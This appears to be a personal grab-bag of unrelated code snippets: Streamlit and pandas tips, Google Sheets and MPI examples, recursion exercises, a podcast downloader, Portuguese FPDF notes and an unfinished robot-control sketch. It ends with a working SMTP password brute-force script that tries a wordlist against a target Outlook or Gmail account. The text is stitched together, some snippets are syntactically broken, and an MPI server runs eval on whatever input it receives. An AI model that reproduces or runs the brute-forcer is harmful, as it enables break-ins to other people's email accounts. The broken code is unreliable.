>>> d3 = foo(ref2)
# Clear all cached entries for this function
>>> foo.clear()
# Clear values from *all* in-memory or on-disk cached functions
>>> st.cache_data.clear()

st.text('Fixed width text')
st.markdown('_Markdown_') # see *
st.latex(r''' e^{i\pi} + 1 = 0 ''')
st.write('Most objects') # df, err, func, keras!
st.write(['st', 'is <', 3]) # see *
st.title('My title')
st.header('My header')
st.subheader('My sub')
st.code('for i in range(8): foo()')
* optional kwarg unsafe_allow_html = True

pip uninstall streamlit
pip install streamlit-nightly --upgrade

pip uninstall streamlit
pip install streamlit-nightly --upgrade

streamlit --help
streamlit run your_script.py
streamlit hello
streamlit config show
streamlit cache clear
streamlit docs
streamlit --version

streamlit run first_app.py

# Import convention
>>> import streamlit as st

from datetime import datetime
from dateutil.relativedelta import relativedelta
    
date_after_month = datetime.today()+ relativedelta(months=1)
print('Today: ',datetime.today().strftime('%d/%m/%Y'))
print('After Month:', date_after_month.strftime('%d/%m/%Y'))

import ast

with open('filename.txt', 'r') as f:
    mylist = ast.literal_eval(f.read())

sin(2 * pi * (frame / total_frames)) * amplitude_factor

ini_list = "[1, 2, 3, 4, 5]"
 
# printing initialized string of list and its type
print("initial string", ini_list)
print(type(ini_list))
 
# Converting string to list
res = ini_list.strip('][').split(', ')

def ipt_sheet():
    credentials = service_account.Credentials.from_service_account_file(
    './p-gsheet.json')

    scoped_credentials = credentials.with_scopes(
    ['https://www.googleapis.com/auth/spreadsheets',
    'https://www.googleapis.com/auth/drive'])

    # Authorize the client
    client = gspread.authorize(scoped_credentials)

    # Open the Google Sheet by its title
    sheet = client.open('NOTIF EXPIRED')

    # Select the specific worksheet within the sheet
    worksheet = sheet.worksheet('Sheet1')

    # Define the data to insert
    data = [[datetime.today().strftime('%m-%d-%Y'), 'Value 3', 'Value 2', 'Value 3', 'Value 4', 'val6']]

    # Specify the column to insert the data
    column_index = 2  # Example: Insert in column B

    # Find the last row with data in the specified column
    last_row = len(worksheet.col_values(2)) + 1

    # Insert the data into the specified column and row
    worksheet.insert_rows(data, row=last_row)

    print('Data inserted successfully!')

import functools


def singleton(cls):
    cls._instance = None

    @functools.wraps(cls)
    def wrapper_singleton(*args, **kwargs):
        if not cls._instance:
            cls._instance = cls(*args, **kwargs)
        return cls._instance

    return wrapper_singleton

from typing import List




class Solution:
    def subsetSums(self, arr: List[int], n: int) -> List[int]:
        ans = []


        def subsetSumsHelper(ind: int, sum: int):
            if ind == n:
                ans.append(sum)
                return
            # element is picked
            subsetSumsHelper(ind + 1, sum + arr[ind])
            # element is not picked
            subsetSumsHelper(ind + 1, sum)
        subsetSumsHelper(0, 0)
        ans.sort()
        return ans




if __name__ == "__main__":
    arr = [3, 1, 2]
    ans = Solution().subsetSums(arr, len(arr))
    print("The sum of each subset is")
    for sum in ans:
        print(sum, end=" ")
    print()

def get_permutations(string):
    # Base case: If the string is empty, return an empty list
    if len(string) == 0:
        return []

    # Base case: If the string has only one character, return a list with that character
    if len(string) == 1:
        return [string]

    permutations = []  # List to store permutations

    # Iterate through each character in the string
    for i in range(len(string)):
        current_char = string[i]

        # Generate all permutations of the remaining characters
        remaining_chars = string[:i] + string[i+1:]
        remaining_perms = get_permutations(remaining_chars)

        # Append the current character to each permutation of the remaining characters
        for perm in remaining_perms:
            permutations.append(current_char + perm)

    return permutations

# Example usage
input_string = "abc"
permutations_list = get_permutations(input_string)
print(permutations_list)

string = "Hello World"


def reversing_string(string):
    if (string == ""):
        return ""
    return reversing_string(string[1:]) + string[0]


str = reversing_string(string)
print(str)

df['column'].unique()  # Unique Values
df['column'].nunique() # Number of unique values
df['column'].value_counts() # Both

try:
	6/0
except:
	print(sys.exc_info()[0])

pd.to_datetime(df_apto['AF_DT_EMISSAO_NF'].astype('str').str[:8],format='%Y%m%d',errors='coerce')

# Type string
pyautogui.typewrite("Hello, World!")

# Move cursor slowly
target_x = 500
target_y = 500
pyautogui.moveTo(target_x, target_y, duration=2)

# Click mouse
pyautogui.click()
pyautogui.click(button='right')

import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.utils.data import DataLoader
from torchvision import datasets, transforms

import matplotlib.pyplot as plt

import socket
import threading

#! /usr/bin/env python
from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

info = MPI.INFO_NULL
service = "pyeval"
log("looking-up service '%s'", service)
port = MPI.Lookup_name(service)
log("service located  at port '%s'", port)

root = 0
log('waiting for server connection...')
comm = MPI.COMM_WORLD.Connect(port, info, root)
log('server connected...')

while True:
    done = False
    if rank == root:
        try:
            message = raw_input('pyeval>>> ')
            if message == 'quit':
                message = None
                done = True
        except EOFError:
            message = None
            done = True
        comm.send(message, dest=0, tag=0)
    else:
        message = None
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting server...')
comm.Disconnect()

#! /usr/bin/env python

from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

log('')

info = MPI.INFO_NULL

port = MPI.Open_port(info)
log("opened port: '%s'", port)

service = 'pyeval'
MPI.Publish_name(service, info, port)
log("published service: '%s'", service)

MPI.COMM_WORLD.Spawn("./client.py", maxprocs=1)

root = 0
log('waiting for client connection...')
comm = MPI.COMM_WORLD.Accept(port, info, root)
log('client connected...')

while True:
    done = False
    if rank == root:
        message = comm.recv(source=0, tag=0)
        if message is None:
            done = True
        else:
            try:
                print 'eval(%r) -> %r' % (message, eval(message))
            except StandardError:
                print "invalid expression: %s" % message
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting client...')
comm.Disconnect()

log('upublishing service...')
MPI.Unpublish_name(service, info, port)

log('closing port...')
MPI.Close_port(port)

A função cell no FPDF tem os seguintes parâmetros:

w: Largura da célula (float ou int).
h: Altura da célula (float ou int).
txt: Conteúdo do texto a ser adicionado (str).
border: Indica se deve ser exibida uma borda ao redor da célula. Os valores possíveis são 0 (sem borda) ou 1 (com borda). Por padrão, é 0 (int).
ln: Indica a posição vertical após a chamada da função. Os valores possíveis são:
0: à direita (mesma linha)
1: começo da próxima linha
2: abaixo
align: Alinhamento do texto dentro da célula. Os valores possíveis são:
'L' ou 'l': alinhamento à esquerda
'C' ou 'c': alinhamento centralizado
'R' ou 'r': alinhamento à direita
No exemplo pdf.cell(0, 10, 'Texto com a fonte Poppins', 0, 1, 'C'), os parâmetros são usados da seguinte forma:

0: A largura da célula é definida como 0, o que significa que a largura será calculada automaticamente para se ajustar ao conteúdo do texto.
10: A altura da célula é definida como 10 unidades.
'Texto com a fonte Poppins': O texto que será exibido dentro da célula.
0: Não será exibida uma borda ao redor da célula.
1: A chamada da função cell irá para a próxima linha após a execução.
'C': O texto será alinhado centralmente dentro da célula.

import os
import shutil

os.rename("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
os.replace("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
shutil.move("path/to/current/file.foo", "path/to/new/destination/for/file.foo")

import feedparser
import requests
import pathlib

# Set the path to the folder
folder_path = pathlib.Path("C:/Python311/OARscripts/Experiments/BlowingBubbles")

# Delete existing files in the folder
for file in folder_path.glob("*"):
    try:
        file.unlink()
    except Exception as e:
        print(f"Error deleting {file}: {e}")

# Download latest episode
url = "https://feeds.accessmedia.nz/V2/itunes/95444842-39c8-4d47-b4c6-4a0fd697e569"
feed = feedparser.parse(url)
latest_entry = feed.entries[0]
file_url = latest_entry.enclosures[0].url
destination_folder = folder_path
file_name = pathlib.Path(file_url).name
new_file_name = "new_file_name.mp3"

try:
    # Download the file
    response = requests.get(file_url)
    with open(destination_folder / file_name, "wb") as f:
        f.write(response.content)

    # Rename the file
    (destination_folder / file_name).rename(destination_folder / new_file_name)

    print(f"File downloaded to {destination_folder / new_file_name}")
except Exception as e:
    print(f"Error downloading or renaming file: {e}")

class Robot:
    def place_bottle(self, station) → None:
        ...
        pass

    def remove_bottle(self, station) → None:
        ...
        pass


class Station:
    def start_filling(self, station) → None:
        ...

    def time_to_fill(self, station) → int:
        ...

    def has_bottle(self, station) -> bool:
        ...

    def is_filling(self, station) -> bool:
        ...



def first_flow(stations, robot):
    for station in stations:
        if not station.has_bottle() and not station.is_filling():
            robot.place_bottle(station) # blocks for 1 second
            station.start_filling()
        elif station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
            station.stop_filling()
            robot.remove_bottle(station) # blocks for 2 seconds

def second_flow(stations, robot):
    # Objetivo no derramar
    ready_to_fill = []
    ready_to_remove = []
    while len(ready_to_fill) == len(stations):
        for station in stations:
            if not station.has_bottle():
                robot.place_bottle(station) # blocks for 1 second
                ready_to_fill.append(station)

    for station in ready_to_fill:
        station.start_filling()

    while len(ready_to_remove) == len(stations):
        for station in stations:
            if station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
                station.stop_filling()
                ready_to_remove.append(station)

    for station in ready_to_fill:
        station.remove_bottle()

   
# Estado global del proceso
# Staciones llenado botellas -> que necesito apagar -> prioridad
# Staciones vacias -> Que necesitan botellas para llenar -> si me alcanza el tiempo
# Staciones apagadas con botellas -> que necesitan ser sacadas -> solo si me alcanza el tiempo y no staciones vacias


def third_flow(stations, robot):
    # Tiempo variado de estaciones 
    # quiero retirar las botellas que ya esten listas si es que no tengo que detener otras botellas.
    filling_bottles_stations = []
    empty_stations = []
    turned_off_stations = []

    updated_filling_bottles = []
    for station in filling_bottles_stations:
        if station.time_to_fill() == 0:
            station.stop_filling()
            turned_off_stations.append(station)
        else:
            updated_filling_bottles.append(station)
    filling_bottles_stations = updated_filling_bottles





if __name__ == "__main__":
    stations = [Station() for _ in range(8)]
    robot = Robot()
    while True:
        basic_flow(stations, robot)

#Post prepare_data_for_forecast
input_selected_items_df = pd.read_excel('item_list_2023-05-02.xlsx')
target_df = target_df[target_df['ITEM_ID'].isin(input_selected_items_df['ITEM_ID'])]

#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]